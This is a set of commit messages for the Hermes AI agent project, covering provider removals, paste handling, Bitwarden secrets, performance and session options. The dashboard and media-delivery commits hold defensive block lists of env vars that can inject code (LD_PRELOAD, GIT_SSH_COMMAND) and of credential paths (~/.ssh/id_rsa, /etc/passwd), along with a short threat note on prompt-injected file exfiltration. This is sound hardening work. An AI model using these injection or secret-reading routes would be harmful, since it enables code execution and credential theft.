* remove Vercel AI Gateway provider and Vercel Sandbox terminal backend Both Vercel-hosted integrations are removed end-to-end. Users on the AI Gateway should switch to OpenRouter or one of the other aggregators (Nous Portal, Kilo Code). Users on the Vercel Sandbox backend should switch to Docker, Modal, Daytona, or SSH. What's removed: - `plugins/model-providers/ai-gateway/` provider plugin - `hermes_cli/vercel_auth.py` Vercel-Sandbox auth helper - `tools/environments/vercel_sandbox.py` terminal backend - `ai-gateway` provider wiring across auth, doctor, setup, models, config, status, providers, main, web_server, model_normalize, dump - `vercel_sandbox` backend wiring across terminal_tool, file_tools, code_execution_tool, file_operations, approval, skills_tool, environments/local, credential_files, lazy_deps, prompt_builder, cli, gateway/run - `AI_GATEWAY_BASE_URL` constant, `_AI_GATEWAY_HEADERS` auxiliary-client header set, run_agent base-URL header/reasoning special-cases - `[vercel]` pyproject extra and `vercel`/`vercel-workers` from uv.lock - env vars: `AI_GATEWAY_API_KEY`, `AI_GATEWAY_BASE_URL`, `VERCEL_TOKEN`, `VERCEL_PROJECT_ID`, `VERCEL_TEAM_ID`, `VERCEL_OIDC_TOKEN`, `TERMINAL_VERCEL_RUNTIME` - Tests: deletes test_ai_gateway_models.py and test_vercel_sandbox_environment.py; scrubs references across 23 surviving test files (no entire tests deleted unless they were dedicated to AI Gateway / Sandbox) - Docs: provider tables, env-var reference, setup guides, security notes, tool config, terminal-backend tables — English plus zh-Hans i18n parity - `hermes-agent` skill: provider table entry and remote-backend list What stays (intentional): - `popular-web-designs/templates/vercel.md` — CSS design reference, unrelated to Vercel-the-AI-product - `x-vercel-id` in `stream_diag.py` headers — generic Vercel CDN response header, useful diag signal on any Vercel-hosted endpoint - `vercel-labs/agent-browser` URL in browser config — lightpanda browser project, different OSS effort - `userStories.json` historical contributor entry mentioning Vercel Sandbox — archive, not active docs Validation: - 1153 tests in the 22 targeted files pass (`scripts/run_tests.sh`) - Full repo `py_compile` clean - Live import of every touched module + invariant check (no `ai-gateway` in `PROVIDER_REGISTRY`, no `_AI_GATEWAY_HEADERS`, no `vercel_sandbox` in `_REMOTE_TERMINAL_BACKENDS`) * test: convert profile-count check from change-detector to invariant The hardcoded "== 34" assertion broke when ai-gateway was removed. Per AGENTS.md change-detector-test guidance, assert the relationship (registry count >= number of plugin dirs) instead of a literal count. Counts shift when providers are added/removed; that's expected. |

fix(cli): restore fallback paste collapse + handle long single-line pastes (#32447)
Follow-up to #32087 after community report from @ethernet that 8000-char single-line pastes get dumped raw into the input box. A) Fallback regression revert paste_collapse_threshold_fallback default: 0 -> 5 #32087 disabled the fallback handler by default. The fallback path has been always-on with line_count >= 5 since #3065 (March 2026); the previous shape was the salvaged contributor's design and didn't match pre-existing behavior for terminals without bracketed paste support (Windows terminals, some SSH setups). Restoring the original on-by-default. B) Long single-line paste guard New config key: paste_collapse_char_threshold (default 2000) Bracketed-paste handler and fallback handler now BOTH collapse when line count >= line threshold OR total char length >= char threshold. Catches the case ethernet hit: ~8000 chars of minified JSON / log output on a single line dumped raw into the buffer. TUI mirrors the same config via uiStore.pasteCollapseChars. Set 0 to disable.

fix(dashboard): suffix-allowlist plugin assets + denylist subprocess-influencing env vars (#32277)
Two posture fixes surfaced by the web-pentest skill self-test against the dashboard (issue #32267). 1. /dashboard-plugins/<name>/<path> previously returned 200 for any file inside the plugin's dashboard directory — including plugin_api.py and __pycache__/*.pyc. The path is unauthenticated by architecture (SPA loads JS via <script src> and CSS via <link href>, neither of which can attach a custom auth header), so the fix is not "require token" — it's "restrict to browser-fetchable suffixes." Allowlist now: .js .mjs .css .json .html .svg .png .jpg .jpeg .gif .webp .ico .woff .woff2 .ttf .otf .map. Everything else → 404. This stops a private user-installed plugin's Python source from being readable by anyone reachable on the dashboard's loopback port (other local users on a shared box, sidecar containers sharing the host netns). 2. save_env_value() now refuses to persist env-var names that influence how the next subprocess executes: LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_*, PYTHONPATH, PYTHONHOME, PYTHONSTARTUP, NODE_OPTIONS, NODE_PATH, PATH, SHELL, EDITOR, VISUAL, PAGER, BROWSER, GIT_SSH_COMMAND, GIT_EXEC_PATH; plus HERMES_HOME / HERMES_PROFILE / HERMES_CONFIG / HERMES_ENV. PUT /api/env is authed but the session token lives in the SPA HTML where any future plugin XSS or local process can read it. Without this gate, a token-holder could plant LD_PRELOAD in .env and the next hermes process start would load attacker code via the dotenv to os.environ chain. This is enforced on write only — pre-existing .env values are left alone (the gate is in save_env_value, not in load_env). PUT /api/env now returns 400 with the explanatory message instead of an opaque 500. IMPORTANT: HERMES_* overall is NOT blocked — only the four runtime location names. Integration credentials following the HERMES_* convention (HERMES_GEMINI_*, HERMES_LANGFUSE_*, HERMES_SPOTIFY_*, HERMES_QWEN_BASE_URL, ...) keep working. Regression tests cover both fixes (30 new test cases). No existing tests changed; 257 passing in tests/hermes_cli/. Closes #32267. |

feat: configurable paste collapse thresholds (TUI + CLI)
Adds two new config keys: - paste_collapse_threshold (default: 5) — line count threshold for bracketed paste collapse in both TUI and CLI - paste_collapse_threshold_fallback (default: 0, disabled) — same for the fallback heuristic in terminals without bracketed paste support TUI frontend reads these from config.get full via applyDisplay/patchUiState. CLI reads from self.config at paste-handling time. Closes #5626 Related: #5623 |

fix(gateway): allow native delivery of freshly-produced agent files (#32060)
The gateway's media delivery allowlist required files live inside
`~/.hermes/cache/{documents,images,...}`, which is the wrong shape for
real agent usage. Agents naturally produce artifacts via terminal tools
(`pandoc -o /tmp/report.pdf`, `matplotlib savefig`, etc.) or
write_file into project directories — these never land under the cache.
Result: users got a raw file path in chat instead of an attachment.
This is doubly bad in deployment shapes where the cache directories
aren't writable by the agent at all: Hermes running in Docker with a
read-only mount, or with a Docker/Modal/SSH terminal backend whose
filesystem isn't the gateway host's filesystem.
Layered trust model:
1. Cache-dir allowlist (unchanged) — Hermes-managed roots always trusted.
2. Operator allowlist — `HERMES_MEDIA_ALLOW_DIRS` env var, now also
surfaced as `gateway.media_delivery_allow_dirs` in config.yaml.
3. Recency-based trust (new, default on) — files whose mtime is within
`gateway.trust_recent_files_seconds` (default 600s) of "now" are
trusted even outside the cache/operator allowlist. Old host files
(`/etc/passwd`, `~/.bashrc`, `~/.ssh/id_rsa`) have mtimes measured
in days/months, well outside the window — prompt-injection paths
pointing at pre-existing files are still rejected.
4. Hard denylist — `/etc`, `/proc`, `/sys`, `/dev`, `/root`, `/boot`,
`/var/{log,lib,run}`, plus `$HOME/.{ssh,aws,gnupg,kube,docker,config,
azure,gcloud}` and `Library/Keychains`. Denylist blocks delivery
even when recency would trust the file, in case an attacker
somehow refreshes a sensitive file's mtime.
Operators who want strict-allowlist behavior set
`gateway.trust_recent_files: false` and the system reverts to
pre-existing behavior.
Tests: 6 new cases in test_platform_base.py cover the recency window,
disabled mode, system-path denylist, and the motivating PDF-in-project
scenario. 3 existing tests (test_platform_base, test_tts_media_routing,
test_send_message_tool) that exercised the strict-allowlist path are
updated to disable recency trust explicitly.
E2E validation: real `validate_media_delivery_path()` accepts fresh
PDFs in /tmp and project dirs, rejects /etc/passwd, ~/.ssh/id_rsa, and
files older than the window; config.yaml `gateway.*` keys bridge
correctly to the env vars the validator reads.

feat(docker): remove gosu from bundled image; s6-setuidgid handles privilege drop
The s6-overlay migration replaced every runtime use of gosu with s6-setuidgid (in stage2-hook.sh, main-wrapper.sh, per-service run scripts, and cont-init.d hooks), but the gosu binary itself was still being copied into the image from tianon/gosu, and several comments across the repo still pointed to it. Image changes: - Drop the FROM tianon/gosu:1.19-trixie AS gosu_source stage - Drop the COPY --from=gosu_source /gosu /usr/local/bin/ layer - Net: one fewer base-image pull, ~12-15 MB layer eliminated Documentation/comment refresh (no behavior change): - Dockerfile: update root-user rationale comment + cont-init.d comment - docker/main-wrapper.sh: drop "pre-s6 contract (gosu drop)" reference - docker-compose.yml: update UID/GID remap comment - .hadolint.yaml: update DL3002 ignore rationale - website/docs/user-guide/docker.md: privilege-drop helper is s6-setuidgid now - hermes_cli/config.py: docker_run_as_host_user docstring tools/environments/docker.py runs *arbitrary user images* via the terminal backend, not the bundled Hermes image. It still needs SETUID/ SETGID caps so user images that use gosu/su/s6-setuidgid all work. Renamed the cap-list constant _GOSU_CAP_ARGS → _PRIVDROP_CAP_ARGS and updated comments to list s6-setuidgid alongside the others as examples. The matching test (test_security_args_include_setuid_setgid_for_gosu_drop → test_security_args_include_setuid_setgid_for_privdrop) was renamed and its docstring updated; behavior is unchanged. Verification: - hadolint clean against .hadolint.yaml - shellcheck clean against all docker/ shell scripts - Image rebuilt successfully (sha 1a090924ccea) - Docker harness: 19 passed in 41.87s (every Phase 0 test + Phase 4 per-profile-gateway lifecycle + container-restart reconciliation) - tests/tools/test_docker_environment.py: 23 passed (rename did not break test discovery; pre-existing unrelated mock warning) The plan document (docs/plans/2026-05-07-s6-overlay-dynamic-subagent-gateways.md) intentionally retains its historical references to gosu — it describes the pre-s6 entrypoint as background for understanding the migration. |

feat(secrets/bitwarden): EU Cloud + self-hosted server URL support (#31378)
Closes #31370. bws defaults to the US identity endpoint, so EU Cloud and self-hosted machine-account tokens fail with [400 Bad Request] {"error":"invalid_client"} during 'hermes secrets bitwarden setup'. The token is valid — it's just being checked against the wrong region. Add a Bitwarden region step to the wizard between the access-token and project-list steps: Step 1 Install bws Step 2 Provide access token Step 3 Pick region <-- new (US / EU / self-hosted-custom-URL) Step 4 Pick project (now talks to the right endpoint) Step 5 Test fetch Region is stored in config.yaml as secrets.bitwarden.server_url and plumbed into every bws subprocess as BWS_SERVER_URL (project list, secret list, test fetch, and the env_loader startup pull). Also: - Non-interactive: 'hermes secrets bitwarden setup --server-url ...' - Pre-existing BWS_SERVER_URL in the shell is detected and reused - Cache key includes server_url so EU/US fetches don't collide - 'hermes secrets bitwarden status' shows the configured region - 'invalid_client' / '400 Bad Request' from bws now triggers a hint pointing at the region setting instead of looking like a bad token |

feat(secrets): Bitwarden Secrets Manager integration with lazy bws install (#30035)
* feat(secrets): Bitwarden Secrets Manager integration with lazy bws install
Pull API keys from Bitwarden Secrets Manager at process startup
instead of storing them all in plaintext in ~/.hermes/.env. One
bootstrap token (BWS_ACCESS_TOKEN) replaces N per-provider keys, and
rotating a credential becomes a single change in the Bitwarden web
app.
Bitwarden defaults to source of truth: secrets pulled from BSM
overwrite any matching env vars on startup so rotations actually
take effect. Set secrets.bitwarden.override_existing: false in
config.yaml to invert.
The bws binary is auto-downloaded into ~/.hermes/bin/bws on first
use (pinned to v2.0.0, SHA-256 verified against the GitHub release
checksum file). No apt, brew, or sudo required.
New surfaces:
hermes secrets bitwarden setup — interactive wizard
hermes secrets bitwarden status — config + binary + token state
hermes secrets bitwarden sync — dry-run fetch / --apply exports
hermes secrets bitwarden disable — flip enabled: false
hermes secrets bitwarden install — just download the binary
Failures (missing binary, bad token, no network) never block Hermes
startup — they emit a one-line warning to stderr and continue with
whatever credentials .env already had.
Docs: website/docs/user-guide/secrets/{index,bitwarden}.md
Tests: tests/test_bitwarden_secrets.py (26 tests, hermetic — bws
subprocess and HTTP downloads fully mocked)

fix(custom): pass custom provider extra body
Allow custom OpenAI-compatible providers declared under `custom_providers:`
to set provider-specific `extra_body` fields and have Hermes merge them into
chat-completions requests when the matching custom endpoint is active.
This is a manual per-provider override rather than a model-name heuristic.
OpenAI-compatible Gemma thinking support is real, but the on-wire payload
shape is backend-specific: some servers want top-level `enable_thinking`,
while vLLM Gemma and NIM-style endpoints expect `chat_template_kwargs`.
A per-provider override is safer than picking one assumed payload.
Example config:
```yaml
custom_providers:
- name: gemma-local
base_url: http://localhost:8080/v1
model: google/gemma-4-31b-it
extra_body:
enable_thinking: true
reasoning_effort: high
```
For vLLM Gemma or NIM-style endpoints, use the nested shape those servers
expect:
```yaml
extra_body:
chat_template_kwargs:
enable_thinking: true
```
Changes:
- `hermes_cli/config.py`: preserve `extra_body` in normalized
`custom_providers:` entries and allow it in the validated field set.
- `hermes_cli/runtime_provider.py`: propagate custom-provider `extra_body`
as `request_overrides.extra_body` for named custom runtime resolution,
including credential-pool paths.
- `agent/agent_init.py`: at agent init, locate the matching custom-provider
entry by `base_url` (+ optional model) and merge its `extra_body` into
`AIAgent.request_overrides`, with caller-provided overrides winning on
conflicting top-level keys.
- `plugins/model-providers/custom/__init__.py`: keep existing CustomProfile
behavior (Ollama `num_ctx`, `think=False` when reasoning disabled);
user-configured `extra_body` flows through `request_overrides`.
- `website/docs/integrations/providers.md`: document the explicit
`extra_body` override and the vLLM/Gemma `chat_template_kwargs` variant.
- Tests cover config normalization, runtime propagation, model matching,
trailing-slash equivalence, fallback when no `model` field is set, and
caller-override merging precedence.
Verified end-to-end against `CustomProfile` via `ChatCompletionsTransport`:
configured `extra_body` reaches `kwargs.extra_body` on the wire request,
and coexists with profile-generated entries (Ollama `num_ctx`, `think=False`)
without clobber.
Salvaged from #29022 onto current `main`. Cosmetic typing edit in
`plugins/model-providers/custom/__init__.py` and a stale-base docs revert
in `providers.md` were dropped during cherry-pick.
Closes #29022

feat(sessions): opt-in per-session JSON snapshot writer
PR #29182 deleted the per-session JSON snapshot writer outright because state.db is canonical and the snapshots had no in-tree consumer. Some users have external tooling that reads `~/.hermes/sessions/session_{sid}.json` directly, so reintroduce the writer behind a config flag that defaults to off. - Add `sessions.write_json_snapshots` (default False) to DEFAULT_CONFIG - Restore `AIAgent._save_session_log` + `_clean_session_content` as gated methods. When the flag is off the call is a fast no-op; when on, the writer behaves as before (atomic write, truncation guard preserved, REASONING_SCRATCHPAD → think tag normalization) - Re-derive the target path from `agent.session_id` on each call so `/branch` and `/compress` re-points happen automatically — no need to restore the explicit re-point bookkeeping at call sites - Wire the single call site in `_persist_session` (the cleanup-on-exit hook). Did NOT restore the 7 intra-turn calls the original PR deleted — those were redundant writes within the same turn that doubled disk I/O without adding any persistence guarantee `_persist_session` does not already provide - Read the flag once at agent init via `load_config()`, cache as `agent._session_json_enabled` - Update `TestNoSessionJsonSnapshot` → `TestSessionJsonSnapshotOptIn` to pin behavior: default off (no file), opt-in true (file written), no-op method on default agents, logs_dir retained unconditionally - Update CONTRIBUTING.md and the bundled `hermes-agent` skill to document the flag and its default |

perf(agent-loop): cut 47% of per-conversation function calls via 3 targeted hot-path optimizations (#28866)
* perf(config): add load_config_readonly() fast path for hot agent loop
`load_config()` is called from the agent loop's per-API-call hot path via
`get_provider_request_timeout()` and `get_provider_stale_timeout()` —
both invoked once per turn from `_resolved_api_call_timeout()` in
run_agent.py.
Profiling a synthetic 20-tool-call agent run revealed:
- 21 invocations of `load_config()` cumulating 56ms (~17% of agent loop)
- 34,398 deepcopy calls totaling 37ms (config defensive deepcopy + chain)
- 8,652 `_expand_env_vars` invocations (~412 per turn)
Microbench (cache-hit, real config.yaml present):
load_config() 265us/call (125us deepcopy + 140us infra)
load_config_readonly() 138us/call (~48% faster)
`load_config_readonly()` returns the cached dict directly without the
defensive deepcopy. Documented contract: caller must not mutate. Returns
plain dict (not MappingProxyType) so downstream `isinstance(x, dict)`
guards keep working — caught during initial implementation when
MappingProxyType broke get_provider_request_timeout's guard logic.
Wired into hermes_cli/timeouts.py (the two functions called per agent
turn). load_config() is unchanged for the 263 other call sites that
mutate the result before save_config(), are not in the hot path, or
where the safety guarantee matters more than the perf.
Profile A/B (cached config, 21-turn agent loop):
BEFORE AFTER delta
get_provider_request_timeout 55ms 16ms -71%
total function calls 399k 160k -60%
deepcopy calls (in hotspots) 34,398 ~0 ~elim
Verified:
- isinstance(load_config_readonly(), dict) is True
- timeout/stale resolutions correct
- load_config() still returns isolated mutable deepcopies
- tests/hermes_cli/test_config*.py / test_timeouts.py: 102/102 pass
- tests/cli/ + tests/agent/test_auxiliary_client.py: 883/883 pass
* perf(redact): substring pre-screens skip non-matching regex chains
Every log record passes through `RedactingFormatter.format` which calls
`redact_sensitive_text`, which historically ran ALL 13 secret-pattern
regexes against every line — including DB connection strings, JWTs,
Discord mentions, Signal phone numbers, etc. — even for typical clean
log records like 'INFO run_agent: API call completed'.
Add cheap substring pre-checks before each regex pass. False positives
still run the regex (which then matches nothing); false negatives are
impossible because every pattern requires the gated substring to match
its leading anchor:
- `_PREFIX_RE` gated on any of 33 known credential prefix substrings
- `_ENV_ASSIGN_RE` gated on `=` in text
- `_JSON_FIELD_RE` gated on `:` and `"` in text
- `_AUTH_HEADER_RE` gated on `uthorization`/`UTHORIZATION` in text
- `_TELEGRAM_RE` gated on `:` in text
- `_PRIVATE_KEY_RE` gated on `BEGIN` and `-----`
- `_DB_CONNSTR_RE` gated on `://` in text
- `_JWT_RE` gated on `eyJ` in text
- URL userinfo/query gated on `://`
- `_redact_form_body` gated on `&` and `=`
- `_DISCORD_MENTION_RE` gated on `<@`
- `_SIGNAL_PHONE_RE` gated on `+`
Microbench (5 typical log records, 20k iterations each):
BEFORE AFTER delta
redact_sensitive_text per call 5.63us 1.79us -68%
Real-world impact: ~244 log records emitted in a 30-turn agent loop, so
the chain saves ~1ms of CPU per conversation. Bigger win is the
reduction in regex execution and GC pressure during heavy logging
sessions (verbose logging, gateway message processing).
Security regression test: 30 secret-containing inputs (sk-/ghp_/JWT/DB
connstr/Auth-Bearer/private key/URL userinfo/Discord/Signal/etc.)
verified to produce identical redacted output before/after. All 75
existing tests/agent/test_redact.py cases pass.
The `?access_token=foo&code=bar` (bare query string, no scheme) case
that 'leaks' is pre-existing behavior — the URL query redaction
requires a well-formed URL with scheme+host. Not a regression.
* perf(run_agent): cache _needs_thinking_reasoning_pad result per (provider, model, base_url)
Profile of a 31-turn synthetic agent run shows `_needs_thinking_reasoning_pad`
fires 495 times (~16 per turn) and each call ran 3 helper methods, each
hitting `base_url_host_matches` 1-4 times via `urlparse`. Total cost:
3,342 base_url_host_matches calls + 3,373 urlparse calls accounting for
~36ms of agent-loop overhead (~7% of the entire post-network work).
Provider / model / base_url don't change during a conversation except via
`switch_model` and fallback activation — both of which already overwrite
those attributes atomically. Cache the result on a tuple key; since the
key is derived from the very fields that would change, the cache
auto-invalidates on the next read after a switch. No manual invalidation
needed in switch_model / _try_activate_fallback.
Profile A/B (31-turn cached-config agent run):
BEFORE AFTER delta
_needs_thinking_reasoning_pad cum 18ms 1ms -94%
_copy_reasoning_content_for_api cum 17ms 1ms -94%
base_url_host_matches calls 3,342 372 -89%
urlparse calls 3,373 403 -88%
total function calls 296k 223k -25%
Verified:
- tests/run_agent/test_deepseek_reasoning_content_echo.py: 36/36 pass
- tests/run_agent/ (full): 1383/1383 pass + 3 skipped

fix(compress): make abort-on-summary-failure opt-in via config flag (#28117)
PR #28102 made the summary-failure abort path the unconditional default, changing established behavior. Gate it behind config.yaml flag `compression.abort_on_summary_failure` (default False = historical fallback-placeholder behavior). - hermes_cli/config.py: new `compression.abort_on_summary_failure` key, default False, documented inline. - agent/agent_init.py: read the flag from compression config and pass to ContextCompressor. - agent/context_compressor.py: `__init__` accepts `abort_on_summary_failure` (default False). `compress()` failure branch gates the abort on the flag; when False, falls through to the restored legacy fallback path (static "summary unavailable" placeholder + drop middle window). - tests: restore original fallback expectations as default; add new TestAbortOnSummaryFailure class for the opt-in mode. Gateway/CLI plumbing (force=True on /compress, hygiene/handler abort detection, locale `gateway.compress.aborted` key) from PR #28102 stays intact — those paths only fire when `_last_compress_aborted` is True, which now only happens when the flag is enabled. |
